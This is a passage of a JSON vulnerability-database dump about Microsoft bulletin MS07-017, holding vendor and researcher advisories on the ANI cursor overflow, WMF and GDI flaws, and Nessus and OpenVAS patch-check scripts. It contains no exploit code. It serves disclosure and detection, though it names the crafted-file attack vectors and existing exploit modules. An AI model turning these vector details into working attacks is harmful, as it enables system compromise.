\r\nThe TrueType Font Rasterizer generates character bitmaps for screens and printers, otherwise known as raster devices.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nWho could exploit the vulnerability? \r\nTo try to exploit the vulnerability, an attacker must be able to log on locally to a system and run a program.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could create an application that uses a specially crafted font such that, when the True Type Font Rasterizer tries to render the specially crafted font, the Rasterizer would allow the attacker to take complete control of the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do? \r\nThe update removes the vulnerability by changing the way that the True Type Font Rasterizer initializes True Type fonts.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\n\r\nAcknowledgments\r\n\r\nMicrosoft thanks the following for working with us to help protect customers:\r\n\u2022\t\r\n\r\nAlexander Sotirov of Determina Security Research for reporting the Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038.\r\n\u2022\t\r\n\r\nMcAfee for working with us on the Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038.\r\n\u2022\t\r\n\r\niDefense for reporting the WMF Denial of Service Vulnerability CVE-2007-1211.\r\n\u2022\t\r\n\r\nShaun Colley of NGS Software for reporting the EMF Elevation of Privilege Vulnerability CVE-2007-1212.\r\n\u2022\t\r\n\r\nThomas Phinney of Adobe Systems for reporting the Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213.\r\n\u2022\t\r\n\r\nSergey Svinolobov for reporting the GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215.\r\n\r\nDisclaimer:\r\n\r\nThe information provided in the Microsoft Knowledge Base is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\r\n\r\nRevisions: \r\n\u2022\t\r\n\r\nV1.0 (April 3, 2007): Bulletin published.", "edition": 1, "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "SECURITYVULNS:DOC:16563", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16563", "title": "Microsoft Security Bulletin MS07-017 Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:21", "bulletinFamily": "software", "cvelist": ["CVE-2007-0038"], "description": "Today Microsoft released a security advisory about a vulnerability in the\r\nAnimated Cursor processing code in Windows:\r\nhttp://www.microsoft.com/technet/security/advisory/935423.mspx\r\n\r\nIt seems like the vulnerability is already exploited in the wild:\r\nhttp://asert.arbornetworks.com/2007/03/any-ani-file-could-infect-you/\r\n\r\nThis is one of the vulnerabilities Determina discovered and reported to\r\nMicrosoft back in December of last year. It was assigned CVE-2007-0038 and we\r\npublished a brief advisory about it today:\r\nhttp://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp\r\n\r\nThe vulnerability is trivially exploitable on all versions of Windows, including\r\nVista. The protected mode of IE7 will lessen the impact of the vulnerability,\r\nbut shellcode execution is of course still possible. Determina also discovered\r\nthat under certain circumstances Mozilla Firefox uses the same underlying\r\nWindows code for processing ANI files, and can be exploited similarly to\r\nInternet Explorer.\r\n\r\nAs noted in Microsoft's security advisory, workarounds for this vulnerability\r\nare limited at this point. I personally recommend browsing the web and reading\r\nmail with telnet until patches are available.\r\n\r\nOf course, Determina VPS Desktop and Server Edition have been continuously\r\nprotecting against this vulnerability even prior to its discovery.\r\n\r\n\r\nAlexander Sotirov\r\nDetermina Security Research", "edition": 1, "modified": "2007-03-30T00:00:00", "published": "2007-03-30T00:00:00", "id": "SECURITYVULNS:DOC:16516", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16516", "title": "0-day ANI vulnerability in Microsoft Windows (CVE-2007-0038)", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:21", "bulletinFamily": "software", "cvelist": ["CVE-2007-1211"], "description": "Microsoft Windows WMF Triggerable Kernel Design Error DoS Vulnerability\r\n\r\niDefense Security Advisory 04.03.07\r\nhttp://labs.idefense.com/intelligence/vulnerabilities/\r\nApr 03, 2007\r\n\r\nI. BACKGROUND\r\n\r\nThe Microsoft Windows kernel controls which processes are allowed to run\r\nand is responsible for accessing hardware such as storage devices and\r\nvideo adapters, scheduling time for each process to execute, managing\r\nmemory, and other system control tasks. For more information on on the\r\nWindows kernel visit MSDN at the URL shown below.\r\n\r\nhttp://msdn.microsoft.com/\r\n\r\nII. DESCRIPTION\r\n\r\nRemote exploitation of a design error in certain kernel GDI functions in\r\nmultiple versions of Microsoft Corp.'s Windows operating system may\r\nallow an attacker to cause a denial of service condition.\r\n\r\nDuring testing of the MS06-001 WMF (Windows Metafile) vulnerability, a\r\nflaw was found in the handling of WMF files. This flaw can cause the\r\nkernel to perform a bug check, also known as a "blue screen" or system\r\ncrash, when it tries to parse the file. The cause of this bug check is\r\nan attempt by a function in a kernel system call to read a value\r\nobtained by dereferencing an offset into a kernel structure. This value\r\nhad been previously created and then reset by previous system calls, and\r\nat the point it is accessed it does not contain a valid memory\r\nreference. This results in an access violation error, which in turn\r\ntriggers the bug check.\r\n\r\nThis vulnerability is different from both the Microsoft MS06-001 WMF\r\nvulnerability and the MS05-053 WMF vulnerability and is not fixed by\r\neither of these patches.\r\n\r\nIII. ANALYSIS\r\n\r\nExploitation of this vulnerability would allow a remote attacker to\r\nperform a denial of service against an affected system.\r\n\r\nDepending on where the file was saved and configuration details of the\r\ntarget, this could result in a persistent denial of service condition,\r\ncausing an immediate reboot upon logging on after an attack. The\r\nresults of testing this vulnerability suggest that in some cases it may\r\ncause corruption of the system in a manner that prevents the system from\r\nrebooting.\r\n\r\nIt is likely that Enhanced Windows Metafiles (EMF) are also affected,\r\nbut this has not yet been confirmed.\r\n\r\nCurrently, due to the type of location being referenced by the kernel,\r\nit appears that the vulnerability may only be exploitable by a remote\r\nattacker to cause a DoS condition. The vectors that could be used to\r\nremotely exploit this vulnerability would most likely be similar to\r\nthose that the MS06-001 vulnerability used.\r\n\r\nIV. DETECTION\r\n\r\nThis vulnerability has been confirmed to affect the following Microsoft\r\nWindows operating systems:\r\n\r\n * Windows XP with Service Pack 2\r\n * Windows 2003 Server\r\n\r\nOther Windows operating systems may also be affected.\r\n\r\nV. WORKAROUND\r\n\r\nBlocking .wmf files at all e-mail and Web gateways is strongly\r\nrecommended. However, this is not effective if blocking is done based\r\non file extensions (e.g., .wmf), as an attacker can simply rename the\r\nfile to a new extension.\r\n\r\nReading e-mail in plain-text can prevent automatic exploitation via\r\nelectronic mail.\r\n\r\nVI. VENDOR RESPONSE\r\n\r\nMicrosoft has addressed this vulnerability within MS07-017. For more\r\ninformation, consult their bulletin at the following URL.\r\n\r\nhttp://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx\r\n\r\nVII. CVE INFORMATION\r\n\r\nThe Common Vulnerabilities and Exposures (CVE) project has assigned the\r\nname CVE-2007-1211 to this issue. This is a candidate for inclusion in\r\nthe CVE list (http://cve.mitre.org/), which standardizes names for\r\nsecurity problems.\r\n\r\nVIII. DISCLOSURE TIMELINE\r\n\r\n01/10/2006 Initial vendor notification\r\n01/10/2006 Initial vendor response\r\n04/03/2007 Coordinated public disclosure\r\n\r\nIX. CREDIT\r\n\r\nThis vulnerability was discovered by Greg MacManus of iDefense Labs.\r\n\r\nGet paid for vulnerability research\r\nhttp://labs.idefense.com/methodology/vulnerability/vcp.php\r\n\r\nFree tools, research and upcoming events\r\nhttp://labs.idefense.com/\r\n\r\nX. LEGAL NOTICES\r\n\r\nCopyright \u00a9 2007 iDefense, Inc.\r\n\r\nPermission is granted for the redistribution of this alert\r\nelectronically. It may not be edited in any way without the express\r\nwritten consent of iDefense. If you wish to reprint the whole or any\r\npart of this alert in any other medium other than electronically,\r\nplease e-mail customerservice@idefense.com for permission.\r\n\r\nDisclaimer: The information in the advisory is believed to be accurate\r\nat the time of publishing based on currently available information. Use\r\nof the information constitutes acceptance for use in an AS IS condition.\r\n There are no warranties with regard to this information. Neither the\r\nauthor nor the publisher accepts any liability for any direct,\r\nindirect, or consequential loss or damage arising from use of, or\r\nreliance on, this information.", "edition": 1, "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "SECURITYVULNS:DOC:16562", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16562", "title": "iDefense Security Advisory 04.03.07: Microsoft Windows WMF Triggerable Kernel Design Error DoS Vulnerability", "type": "securityvulns", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:09:25", "bulletinFamily": "software", "cvelist": ["CVE-2007-1211"], "description": "Uninitialized memory reference in system kernel.", "edition": 1, "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "SECURITYVULNS:VULN:7528", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7528", "title": "Microsoft Windows DoS with WMF files", "type": "securityvulns", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:09:25", "bulletinFamily": "software", "cvelist": ["CVE-2007-1867", "CVE-2007-0038", "CVE-2007-1765"], "description": "Stack buffer overflow (stack overrun) is actively used for hidden malware installation.", "edition": 1, "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "SECURITYVULNS:VULN:7508", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7508", "title": "Microsoft Windows animated cursors buffer overflow", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2020-08-08T13:25:26", "description": "The remote host is running a version of Windows with a bug in the\nAnimated Cursor (ANI) handling routine that could allow an attacker to\nexecute arbitrary code on the remote host by sending a specially crafted\nemail or by luring a user on the remote host into visiting a rogue web\nsite.\n\nAdditionally, the system is vulnerable to :\n\n - Local Privilege Elevation (GDI, EMF, Font Rasterizer)\n\n - Denial of Service (WMF)", "edition": 22, "published": "2007-04-03T00:00:00", "title": "MS07-017: Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758", "CVE-2007-1765"], "modified": "2007-04-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS07-017.NASL", "href": "https://www.tenable.com/plugins/nessus/24911", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(24911);\n script_version(\"1.38\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/05\");\n\n script_cve_id(\n \"CVE-2006-5586\",\n \"CVE-2006-5758\",\n \"CVE-2007-0038\",\n \"CVE-2007-1211\",\n \"CVE-2007-1212\",\n \"CVE-2007-1213\",\n \"CVE-2007-1215\",\n \"CVE-2007-1765\"\n );\n script_bugtraq_id(23194, 23273, 23275, 23276, 23277, 23278);\n script_xref(name:\"MSFT\", value:\"MS07-017\");\n script_xref(name:\"MSKB\", value:\"925902\");\n \n script_xref(name:\"IAVA\", value:\"2007-A-0020-S\");\n script_xref(name:\"CERT\", value:\"191609\");\n script_xref(name:\"EDB-ID\", value:\"3617\");\n script_xref(name:\"EDB-ID\", value:\"3634\");\n script_xref(name:\"EDB-ID\", value:\"3635\");\n script_xref(name:\"EDB-ID\", value:\"3636\");\n script_xref(name:\"EDB-ID\", value:\"3652\");\n script_xref(name:\"EDB-ID\", value:\"16526\");\n script_xref(name:\"EDB-ID\", value:\"16698\");\n\n script_name(english:\"MS07-017: Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\");\n script_summary(english:\"Determines the presence of update 925902\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the email\nclient or the web browser.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of Windows with a bug in the\nAnimated Cursor (ANI) handling routine that could allow an attacker to\nexecute arbitrary code on the remote host by sending a specially crafted\nemail or by luring a user on the remote host into visiting a rogue web\nsite.\n\nAdditionally, the system is vulnerable to :\n\n - Local Privilege Elevation (GDI, EMF, Font Rasterizer)\n\n - Denial of Service (WMF)\");\n # https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2007/ms07-017\n script_set_attribute(attribute:\"see_also\", value:\"https://www.nessus.org/u?844ca267\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released a set of patches for Windows 2000, XP, 2003 and\nVista.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:'CANVAS');\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2006/11/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2007/04/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2007/04/03\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(english:\"This script is Copyright (C) 2007-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS07-017';\nkb = \"925902\";\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(win2k:'4,5', xp:'2', win2003:'0,2', vista:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"6.0\", sp:0, file:\"User32.dll\", version:\"6.0.6000.16438\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:0, file:\"User32.dll\", version:\"6.0.6000.20537\", min_version:\"6.0.6000.20000\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"User32.dll\", version:\"5.2.3790.4033\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:1, file:\"User32.dll\", version:\"5.2.3790.2892\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:0, file:\"User32.dll\", version:\"5.2.3790.651\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", file:\"User32.dll\", version:\"5.1.2600.3099\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"User32.dll\", version:\"5.0.2195.7133\", dir:\"\\System32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2020-01-08T14:05:26", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2006-5758", "CVE-2005-0416"], "description": "Stack-based buffer overflow in the animated cursor code in Microsoft\n Windows 2000 SP4 through Vista allows remote attackers to execute\n arbitrary code or cause a denial of service (persistent reboot) via a\n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing\n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as\n originally demonstrated using Internet Explorer 6 and 7.", "modified": "2020-01-07T00:00:00", "published": "2010-07-08T00:00:00", "id": "OPENVAS:1361412562310102055", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310102055", "type": "openvas", "title": "Microsoft Windows GDI Multiple Vulnerabilities (925902)", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n#\n# Microsoft Windows GDI Multiple Vulnerabilities (925902)\n#\n# LSS-NVT-2010-044\n#\n# Developed by LSS Security Team <http://security.lss.hr>\n#\n# Copyright (C) 2010 LSS <http://www.lss.hr>\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public\n# License along with this program. If not, see\n# <http://www.gnu.org/licenses/>.\n###################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.102055\");\n script_version(\"2020-01-07T09:06:32+0000\");\n script_tag(name:\"last_modification\", value:\"2020-01-07 09:06:32 +0000 (Tue, 07 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2010-07-08 10:59:30 +0200 (Thu, 08 Jul 2010)\");\n script_bugtraq_id(23273, 23276, 23278, 23275, 20940, 23277);\n script_cve_id(\"CVE-2006-5586\", \"CVE-2006-5758\", \"CVE-2007-1211\",\n \"CVE-2007-1212\", \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_name(\"Microsoft Windows GDI Multiple Vulnerabilities (925902)\");\n script_xref(name:\"URL\", value:\"http://www.argeniss.com/research/ARGENISS-ADV-110604.txt\");\n script_xref(name:\"URL\", value:\"http://projects.info-pull.com/mokb/MOKB-06-11-2006.html\");\n script_xref(name:\"URL\", value:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-017\");\n script_xref(name:\"URL\", value:\"http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=499\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2010 LSS\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"MS/IE/Version\");\n\n script_tag(name:\"solution\", value:\"The vendor has released updates. Please see the references for more information.\");\n\n script_tag(name:\"summary\", value:\"Stack-based buffer overflow in the animated cursor code in Microsoft\n Windows 2000 SP4 through Vista allows remote attackers to execute\n arbitrary code or cause a denial of service (persistent reboot) via a\n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing\n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as\n originally demonstrated using Internet Explorer 6 and 7.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5 ,xp:4 ,win2003:3 ,vista:3) <= 0){\n exit(0);\n}\n\nieVer = get_kb_item(\"MS/IE/Version\");\nif(!ieVer){\n exit(0);\n}\n\n# MS07-017 Hotfix (925902)\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\ndllPath = registry_get_sz(item:\"Install Path\", key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath += \"\\gdi32.dll\";\nshare = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath);\nfile = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath);\n\n#user32.dll\ndllPath2 = registry_get_sz(item:\"Install Path\", key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath2 += \"\\user32.dll\";\nshare2 = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath2);\nfile2 = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath2);\n\nvers = GetVer(file:file, share:share);\nvers2 = GetVer(file:file2, share:share2);\nif(!vers && !vers2){\n exit(0);\n}\n\n#CVE-2006-5586, CVE-2006-5758, CVE-2007-1211, CVE-2007-1212, CVE-2007-1213, CVE-2007-1215\nif(hotfix_check_sp(win2k:5) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2K/ServicePack\");\n if(\"Service Pack 4\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.0\", test_version2:\"5.0.2195.7133\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n\n}\nelse if(hotfix_check_sp(xp:4) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.1\", test_version2:\"5.1.2600.3099\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(win2003:3) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.2892\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n else if(\"Service Pack 2\" >< SP)\n {\n\n if(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.4033\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n else if(\"Service Pack 0\">< SP){\n\tif(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.651\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(vista:2) > 0 && vers2)\n{\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n if(\"Service Pack 0\" >< SP)\n {\n if(version_in_range(version:vers2, test_version:\"6.0\", test_version2:\"6.0.6000.16438\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nexit(99);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2017-07-20T08:49:00", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2006-5758", "CVE-2005-0416"], "description": "Stack-based buffer overflow in the animated cursor code in Microsoft \n Windows 2000 SP4 through Vista allows remote attackers to execute \n arbitrary code or cause a denial of service (persistent reboot) via a \n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing \n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as \n originally demonstrated using Internet Explorer 6 and 7.", "modified": "2017-07-05T00:00:00", "published": "2010-07-08T00:00:00", "id": "OPENVAS:102055", "href": "http://plugins.openvas.org/nasl.php?oid=102055", "type": "openvas", "title": "Microsoft Windows GDI Multiple Vulnerabilities (925902)", "sourceData": "###################################################################\n# OpenVAS Network Vulnerability Test\n#\n# Microsoft Windows GDI Multiple Vulnerabilities (925902)\n#\n# LSS-NVT-2010-044\n#\n# Developed by LSS Security Team <http://security.lss.hr>\n#\n# Copyright (C) 2009 LSS <http://www.lss.hr>\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public\n# License along with this program. If not, see\n# <http://www.gnu.org/licenses/>.\n###################################################################\n\ntag_solution = \"Run Windows Update or apply patches available from the following \n website:\n http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\";\ntag_summary = \"Stack-based buffer overflow in the animated cursor code in Microsoft \n Windows 2000 SP4 through Vista allows remote attackers to execute \n arbitrary code or cause a denial of service (persistent reboot) via a \n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing \n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as \n originally demonstrated using Internet Explorer 6 and 7.\";\n\nif(description)\n{\n script_id(102055);\n script_version(\"$Revision: 6527 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-05 07:56:34 +0200 (Wed, 05 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2010-07-08 10:59:30 +0200 (Thu, 08 Jul 2010)\");\n script_bugtraq_id(23273, 23276, 23278, 23275, 20940, 23277);\n script_cve_id(\"CVE-2006-5586\", \"CVE-2006-5758\", \"CVE-2007-1211\", \n \"CVE-2007-1212\", \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_name(\"Microsoft Windows GDI Multiple Vulnerabilities (925902)\");\n script_xref(name : \"URL\" , value : \"http://www.argeniss.com/research/ARGENISS-ADV-110604.txt\");\n script_xref(name : \"URL\" , value : \"http://projects.info-pull.com/mokb/MOKB-06-11-2006.html\");\n script_xref(name : \"URL\" , value : \"http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=499\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2010 LSS\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_mandatory_keys(\"MS/IE/Version\");\n script_require_ports(139, 445);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5 ,xp:4 ,win2003:3 ,vista:3) <= 0){\n exit(0);\n}\n\nieVer = get_kb_item(\"MS/IE/Version\");\nif(!ieVer){\n exit(0);\n}\n\n# MS07-017 Hotfix (925902)\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\ndllPath = registry_get_sz(item:\"Install Path\",\n key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath += \"\\gdi32.dll\";\nshare = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath);\nfile = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath);\n\n#user32.dll\ndllPath2 = registry_get_sz(item:\"Install Path\",\n key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath2 += \"\\user32.dll\";\nshare2 = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath2);\nfile2 = ereg_replace(pattern:\"[A-Z]:(.*)\", 